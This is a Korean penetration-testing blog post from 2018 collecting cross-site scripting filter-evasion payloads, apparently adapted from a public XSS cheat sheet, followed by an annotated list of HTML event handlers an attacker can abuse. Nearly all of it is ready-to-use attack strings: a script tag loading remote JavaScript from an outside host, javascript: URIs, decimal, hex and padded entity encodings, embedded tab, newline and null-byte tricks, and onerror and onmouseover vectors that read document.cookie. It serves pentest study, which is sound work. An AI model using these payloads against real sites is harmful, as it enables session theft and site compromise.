모의해킹/┗XSS

xss 관련 추가정리

logthink 2018. 11. 15. 20:00

1. 필터 검증 없는경우

<SCRIPT SRC=http://xss.rocks/xss.js>

2. Javascript 지시문 사용하는 이미지

<IMG SRC="javascript:alert('XSS');">

3. 따움표 없이 사용하는 것

<IMG SRC=javascript:alert('XSS')>

4. 대소문자 구분하지 않는 xss 공격베터

<IMG SRC=JaVaScRiPt:alert('XSS')>

5. html 엔티티 : 이 작업은 세미콜론 필요

<IMG SRC=javascript:alert(&quot;XSS&quot;)>

6. 악센트 난독화 : 큰 따옴표와 작은 따옴표 모두 사용해야할때 악센트 지정해 javascript문자열을 캡슐화 할 수 있다.(악센트에 대해 허술할 때 유용)

<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>

7. href 속성 없이 사용하는 경우

<a onmouseover="alert(document.cookie)"> xxs 링크 </a>

<a onmouseover=alert(document.cookie)> xxs 링크 </a>

8. IMG태그 우회

<IMG """><SCRIPT>alert("XSS")</SCRIPT>">


9. 인용 부호 허용되지 않을 때, 자바스크립트 fromcharcode를 eval()해 원하는 XSS 벡터생성

<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

10. SRC 도메인 검사하는 과거 필터 가져오는 기본 SRC 태그

<IMG SRC=# onmouseover="alert('xxs')">

11. 기본 SRC태그를 비워두고 있는경우

<IMG SRC= onmouseover="alert('xxs')">

<IMG onmouseover="alert('xxs')">

12. 오류시 경고를 이용한 자바스크립트

<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>

<IMG SRC=X onerror="alert(String.fromCharCode(88,83,83))"></img>

13. IMG onerror 및 javascript 경고 인코딩

<img src=x onerror="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041">

14. 진수 HTML 문자 참고

(javascript 지시어를 사용하는 모든 XSS 예제는 Gecko 렌더링 엔진 모드에서 작동X)

<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;

&#39;&#88;&#83;&#83;&#39;&#41;>

15. 세미콜론 없는 10진수 HTML 문자 참고

(대부분의 사람들이 패딩에 대해 알지 못하기 때문에 XSS에서 "& # XX;"을 찾는 경우 효과적입니다. 최대 7 자까지 가능합니다. 이것은 $ tmp_string = ~ s /.*\ (\ d +);. * / $ 1 /와 같이 문자열을 디코드하는 사람들에게도 유용합니다. 이것은 부정확하게 세미콜론이 html로 인코딩 된 문자열을 끝내는 데 필요하다고 가정합니다 (나는 야생에서 이것을 보았습니다) :)

<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&

#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>

16. 세미콜론이 없는 16진수 HTML 문자 참조

(위의 문자열 $ tmp_string = ~ s /.*\ (\ d +);. * / $ 1 /;에 대한 실행 가능한 XSS 공격이기도합니다. 파운드 기호 다음에 숫자가 있다는 것을 전제로합니다. 이것은 16 진수 HTML 문자에는 맞지 않습니다.)

<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>


내장 태그

<IMG SRC="jav ascript:alert('XSS');">

XSS분해 하기 위해 인코딩된 태그

<IMG SRC="jav&#x09;ascript:alert('XSS');">

XSS 우회위해 내장된 개행문자

<IMG SRC="jav&#x0A;ascript:alert('XSS');">

XSS 우회하는 내장된 캐리지 리턴

<IMG SRC="jav&#x0D;ascript:alert('XSS');">

NULL은 자바스크립트 지시문 분해

perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out










FSCommand() (공격자는 임베디드 Flash 객체 내에서 실행될 때 이것을 사용할 수 있습니다)

onAbort() (사용자가 이미지 로딩을 중단 할 때)

onActivate() (오브젝트가 활성 요소로 설정된 경우)

onAfterPrint() (사용자가 인쇄 또는 인쇄 작업을 미리 본 후에 활성화)

onAfterUpdate() (원본 개체에서 데이터를 업데이트 한 후 데이터 개체에서 활성화)

onBeforeActivate() (객체가 활성 요소로 설정되기 전에 실행됩니다)

onBeforeCopy()(공격자는 선택 사항이 클립 보드에 복사되기 바로 전에 공격 문자열을 실행합니다 - 공격자는이 execCommand("Copy")기능 을 통해 이것을 수행 할 수 있습니다 )

onBeforeCut() (공격자는 선택이 끝나기 바로 전에 공격 문자열을 실행합니다)

onBeforeDeactivate() (activeElement가 현재 객체에서 변경된 직후에 발생 함)

onBeforeEditFocus() (편집 가능한 요소에 포함 된 객체가 UI 활성화 상태가되거나 편집 가능한 컨테이너 객체가 선택되어 제어되기 전에 실행됩니다.)

onBeforePaste()(사용자가 속여서 붙여 넣거나 execCommand("Paste")기능을 사용하여 강제로 붙여 넣기해야 함 )

onBeforePrint()(사용자는 속임수를 쓰거나 공격자가 print()또는 execCommand("Print")기능을 사용할 수 있어야 합니다).

onBeforeUnload() (사용자는 브라우저를 닫는 것을 속여야합니다 - 공격자는 부모로부터 스폰되지 않는 한 창을 언로드 할 수 없습니다)

onBeforeUpdate() (원본 개체에서 데이터를 업데이트하기 전에 데이터 개체에서 활성화)

onBegin() (onbegin 이벤트는 요소의 타임 라인이 시작될 때 즉시 발생합니다)

onBlur() (다른 팝업이로드되고 창에 포커스가없는 경우)

onBounce() (선택 윤곽 객체의 비헤이비어 속성이 "대체"로 설정되고 선택 윤곽의 내용이 윈도우의 한쪽에 도달하면 실행됩니다)

onCellChange() (데이터 공급자에서 데이터가 변경 될 때 발생)

onChange() (선택, 텍스트 또는 TEXTAREA 필드의 포커스가 사라지고 해당 값이 수정 됨)

onClick() (누군가가 양식을 클릭)

onContextMenu() (사용자는 공격 영역을 오른쪽 클릭해야합니다)

onControlSelect() (사용자가 객체를 선택하려고 할 때 발생 함)

onCopy()(사용자는 execCommand("Copy")명령을 사용하여 무언가를 복사하거나 악용 될 수 있습니다 )

onCut()(사용자는 execCommand("Cut")명령을 사용하여 무언가를 복사하거나 악용 될 수 있습니다 )

onDataAvailable() (사용자가 요소에서 데이터를 변경해야하거나 공격자가 동일한 기능을 수행 할 수 있음)

onDataSetChanged() (데이터 소스 객체에 의해 노출 된 데이터 세트가 변경 될 때 발생 함)

onDataSetComplete() (모든 데이터를 데이터 소스 개체에서 사용할 수 있음을 나타 내기 위해 발생 함)

onDblClick() (사용자가 양식 요소 또는 링크를 두 번 클릭)

onDeactivate() (activeElement가 현재 객체에서 부모 문서의 다른 객체로 변경 될 때 발생 함)

onDrag() (사용자가 객체를 드래그해야 함)

onDragEnd() (사용자가 객체를 드래그해야 함)

onDragLeave() (사용자가 유효한 위치에서 객체를 드래그해야 함)

onDragEnter() (사용자가 객체를 유효한 위치로 드래그해야 함)

onDragOver() (사용자가 객체를 유효한 위치로 드래그해야 함)

onDragDrop() (사용자가 브라우저 창에 객체 (예 : 파일)을 놓음)

onDragStart() (사용자가 끌기 조작을 시작할 때 발생 함)

onDrop() (사용자가 브라우저 창에 객체 (예 : 파일)을 놓음)

onEnd() 타임 라인이 끝날 때 onEnd 이벤트가 발생합니다.

onError() (문서 또는 이미지로드로 인해 오류가 발생 함)

onErrorUpdate() (데이터 소스 객체의 관련 데이터를 업데이트하는 동안 오류가 발생하면 데이터 바인딩 된 객체에서 발생 함)

onFilterChange() (시각 필터가 상태 변경을 완료하면 시작됩니다.)

onFinish() (선택 윤곽이 루핑을 마쳤을 때 공격자가 악용 할 수 있음)

onFocus() (공격자는 창에 포커스가있을 때 공격 문자열을 실행합니다)

onFocusIn() (공격자가 창에 초점을 맞출 때 공격 문자열을 실행 함)

onFocusOut() (공격자가 창을 잃을 때 공격 문자열을 실행 함)

onHashChange() (문서의 현재 주소의 프래그먼트 식별자 부분이 변경되면 실행 됨)

onHelp() (공격자는 창에 초점이 맞춰져있는 동안 F1을 치면 공격 문자열을 실행합니다)

onInput() (요소의 텍스트 내용은 사용자 인터페이스를 통해 변경됩니다)

onKeyDown() (사용자가 키를 누름)

onKeyPress() (사용자가 키를 누르거나 누르고 있음)

onKeyUp() (사용자가 키를 놓음)

onLayoutComplete() (사용자가 인쇄 또는 인쇄 미리보기를해야 할 것입니다)

onLoad() (공격자가 윈도우가로드 된 후 공격 문자열을 실행 함)

onLoseCapture()( releaseCapture()방법 으로 악용 될 수 있음 )

onMediaComplete() (스트리밍 미디어 파일이 사용되면이 이벤트는 파일 재생이 시작되기 전에 실행될 수 있습니다)

onMediaError() (사용자가 미디어 파일이 포함 된 브라우저에서 페이지를 열면 문제가 발생하면 이벤트가 발생합니다.)

onMessage() (문서가 메시지를 받았을 때 발동)

onMouseDown() (공격자는 사용자가 이미지를 클릭하도록해야합니다)

onMouseEnter() (커서가 객체 또는 영역 위로 이동)

onMouseLeave() (공격자는 사용자가 이미지 나 표 위에 마우스를 올려 놓은 다음 다시 꺼야합니다)

onMouseMove() (공격자는 사용자가 이미지 나 표 위에 마우스를 올려야 할 필요가 있습니다)

onMouseOut() (공격자는 사용자가 이미지 나 표 위에 마우스를 올려 놓은 다음 다시 꺼야합니다)

onMouseOver() (커서가 객체 또는 영역 위로 이동)

onMouseUp() (공격자는 사용자가 이미지를 클릭하도록해야합니다)

onMouseWheel() (공격자는 사용자가 마우스 휠을 사용해야 함)

onMove() (사용자 또는 공격자가 페이지 이동)

onMoveEnd() (사용자 또는 공격자가 페이지 이동)

onMoveStart() (사용자 또는 공격자가 페이지 이동)

onOffline() (브라우저가 온라인 모드로 작동 중이며 오프라인으로 작업하기 시작한 경우 발생 함)

onOnline() (브라우저가 오프라인 모드에서 작업 중이며 온라인으로 작동하는 경우 발생 함)

onOutOfSync() (타임 라인에 정의 된대로 미디어를 재생하는 요소의 기능을 중단)

onPaste()(사용자는 붙여 넣기를해야하거나 공격자가이 execCommand("Paste")기능을 사용할 수 있습니다 )

onPause() (body 요소를 포함하여 타임 라인이 일시 중지 될 때 활성화되는 모든 요소에서 onpause 이벤트가 발생 함)

onPopState() (사용자가 세션 기록을 탐색 할 때 발생 함)

onProgress() (공격자는 플래시 무비가 로딩 중일 때 이것을 사용합니다)

onPropertyChange() (사용자 또는 공격자가 요소 속성을 변경해야 함)

onReadyStateChange() (사용자 또는 공격자가 요소 속성을 변경해야 함)

onRedo() (사용자가 거래 내역을 실행 취소했다)

onRepeat() (첫 번째 전체주기를 제외하고 타임 라인 반복마다 이벤트가 한 번 발생 함)

onReset() (사용자 또는 공격자가 양식을 재설정 함)

onResize()(사용자가 창 크기를 조정하면 공격자가 자동으로 다음과 같이 초기화 할 수 있습니다. <SCRIPT>self.resizeTo(500,400);</SCRIPT>)

onResizeEnd()(사용자가 창 크기를 조정하면 공격자가 자동으로 다음과 같이 초기화 할 수 있습니다. <SCRIPT>self.resizeTo(500,400);</SCRIPT>)

onResizeStart()(사용자가 창 크기를 조정하면 공격자가 자동으로 다음과 같이 초기화 할 수 있습니다. <SCRIPT>self.resizeTo(500,400);</SCRIPT>)

onResume() (body 요소를 포함하여 타임 라인이 다시 시작될 때 활성화되는 모든 요소에서 onresume 이벤트가 발생 함)

onReverse() 요소에 repeatCount가 1보다 큰 경우이 이벤트는 타임 라인이 뒤로 재생되기 시작할 때마다 발생합니다.

onRowsEnter() (사용자 또는 공격자가 데이터 소스의 행을 변경해야 함)

onRowExit() (사용자 또는 공격자가 데이터 소스의 행을 변경해야 함)

onRowDelete() (사용자 또는 공격자가 데이터 소스의 행을 삭제해야 함)

onRowInserted() (사용자 또는 공격자가 데이터 소스에 행을 삽입해야 함)

onScroll()(사용자가 스크롤해야하거나 공격자가이 scrollBy()기능을 사용할 수 있습니다 )

onSeek() (타임 라인이 앞으로가 아닌 다른 방향으로 재생되도록 설정되면 onreverse 이벤트가 발생 함)

onSelect()(사용자가 텍스트를 선택 필요 - 공격자가 자동 같은으로 초기화 할 수 있습니다 : window.document.execCommand("SelectAll");)

onSelectionChange()(사용자가 텍스트를 선택 필요 - 공격자가 자동 같은으로 초기화 할 수 있습니다 : window.document.execCommand("SelectAll");)

onSelectStart()(사용자가 텍스트를 선택 필요 - 공격자가 자동 같은으로 초기화 할 수 있습니다 : window.document.execCommand("SelectAll");)

onStart() (각 선택 윤곽 루프의 시작 부분에서 발생)

onStop() (사용자가 중지 버튼을 누르거나 웹 페이지에서 나가야 함)

onStorage() (저장 영역이 변경됨)

onSyncRestored() (사용자가 타임 라인에 정의 된대로 미디어를 재생하는 요소의 기능을 중단 시킴)

onSubmit() (공격자 또는 사용자가 양식을 제출해야 함)

onTimeError() (사용자 또는 공격자가 dur와 같은 시간 속성을 잘못된 값으로 설정 함)

onTrackChange() (사용자 또는 공격자가 재생 목록에서 트랙 변경)

onUndo() (사용자는 거래 내역을 실행 취소 한 상태로 되돌아갔습니다)

onUnload() (사용자가 링크를 클릭하거나 뒤로 버튼을 누르거나 공격자가 클릭을 강요 할 때)

onURLFlip() (이 이벤트는 HTML + TIME (Timed Interactive Multimedia Extensions) 미디어 태그로 재생되는 ASF (Advanced Streaming Format) 파일이 ASF 파일에 포함 된 스크립트 명령을 처리 할 때 발생합니다)

seekSegmentTime() (이는 요소의 세그먼트 시간 라인에서 지정된 점을 찾아 해당 점에서부터 재생을 시작하는 메서드입니다. 세그먼트는 AUTOREVERSE 특성을 사용하는 역방향 재생을 포함하여 타임 라인을 한 번 반복하여 구성됩니다.)

'모의해킹 > ┗XSS' 카테고리의 다른 글

XSS & CSRF 간단 실습정리  (0) 2018.12.18
xss hex incoding 방법  (0) 2018.11.17
XSS Filter Evasion Cheat Sheet URL  (0) 2018.10.13
XSS challenge - alf.nu  (0) 2018.10.13